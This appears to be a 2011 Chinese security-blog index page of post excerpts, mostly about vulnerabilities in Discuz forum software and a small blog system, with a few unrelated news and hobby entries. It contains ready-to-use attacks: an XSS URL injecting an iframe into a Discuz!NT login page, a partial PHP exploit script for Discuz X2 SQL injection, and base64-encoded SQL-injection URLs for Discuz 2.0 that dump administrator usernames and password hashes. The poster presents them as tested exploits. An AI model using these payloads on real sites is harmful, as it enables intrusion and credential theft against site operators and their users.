国家计算机病毒中心发现新型蠕虫即时聊天要当心

By：猪哥靓登陆框提交用户名或密码的时候存在跨站漏洞。以下是引用片段： http://nt.discuz.net/login.aspx?postusername=%22%3E%3Ciframe%20src=%22https://lcx.cc%22%3E 可以这样利用的，[size=-1]example：以下是引用片

阅读全文

WordPress 3.1.3 注射漏洞

2011-07-02

老系统内容 WordPress 漏洞注射

约 726 字预计阅读 2 分钟

By：paco 两个地方第一个 get_terms（）过滤器文件中声明wp-includes/taxonomy.php 没

阅读全文

dz x2 注入点构造 exp

2011-07-01

老系统内容 DZ EXP 注入

约 91 字预计阅读 1 分钟

By：anlfi Exp： <?php global $tmp_expstr, $id; $id=$_GET['id']; //$_GET['$tmp_expstr']; //$id=str_replace(" ","%20",$id); //$id=str_replace("=","%3D",$id); $tmp_expstr = $id; //$tmp_expstr ="'"; //$id = $tmp_expstr; function getData($host,$path,$expdata,$data){ global $host, $path, $tmp_expstr; $host = "www.xxx.com"; $expdata = "/forum/forum.php?mod=attachment&findpost=ss&aid=".urlencode(urlencode(base64_encode($tmp_expstr))); $data = "GET $expdata HTTP/1.1\r\n"; $data .= "Host: $host\r\n"; $data .= "Content-Type: application/x-www-form-urlencoded\r\n"; $data .= "Content-Length: ".strlen($expdata)."\r\n"; $data .= "Connection: Close\r\n\r\n"; $data .= $expdata; $fp =

阅读全文

Nuclear-Blog v5.0 博客系统源码开源下载

2011-07-01

老系统内容 Blog Nuclear Nuclear-Blog 博客系统源码

约 3487 字预计阅读 7 分钟

本着自由、分享、进步的精神，公开 Nuclear-Blog v5.0 源码，同时公布一个 Nuclear-Blog v4.0 的 XSS 漏洞，详情请见：【经典】公布一个 Nuclear-Blog v4.0 留言板的 XSS 漏洞该套程序从2010年04月中

阅读全文

【视频】Arduino GlaDOS 单片机炮塔 Turret 智能小车【超清】

2011-06-30

老系统内容 Dos 车视频智能

约 327 字预计阅读 1 分钟

【视频】Arduino UNO GlaDOS 单片机炮塔传送门2 Turret 智能小车【超清】 01 【视频】Arduino UNO GlaDOS 单片机炮塔传送门2 Turret 智能小车【超清】 02 【视频】Ar

阅读全文

【经典】公布一个 Nuclear-Blog v4.0 留言板的 XSS 漏洞

2011-06-30

老系统内容 Blog Nuclear Nuclear-Blog XSS 漏洞

约 2380 字预计阅读 5 分钟

Nuclear-Blog v5.0 马上就发布了，我就把这个 Nuclear-Blog v4.0 留言板的 XSS 漏洞，公布了吧。其实此漏洞，在当时发布 Nuclear-Blog v4.0 源码的当天，就被发现了，发现的人是t00ls某核心，然后

阅读全文

新浪微博就"中毒"事件发声明:已掌握证据并报案

2011-06-30

老系统内容事件微博

约 451 字预计阅读 1 分钟

中新网6月29日电今天下午，新浪就微博出现恶意链接一事作出声明，表示用户密码等个人资料不受影响，同时新浪微博已掌握相关证据并交由公安机关处

阅读全文

【Exp】DZ 2.0 直接暴管理账号密码

2011-06-29

老系统内容 DZ EXP 管理密码账号

约 103 字预计阅读 1 分钟

DZ 2.0 直接暴管理账号密码 http://XXXXXXXX/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4N0MzMjc0NzQ3QyxwYXNzd29yZCkgZnJvbSBwcmVfY29tbW9uX21lbWJlciB3aGVyZSAgdXNlcm5hbWUgbGlrZSAnYWRtaW58eHx5%3D 假如利用不成功说明不是默认前缀可以用 http://XXXXXXXX/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1FIGxpa2UgJyVfbWVtYmVyfHh8eQ%3D 暴前缀不过一般都没人改密码破不了。我只是发exp 的反正我测试成功、、、、、、只

阅读全文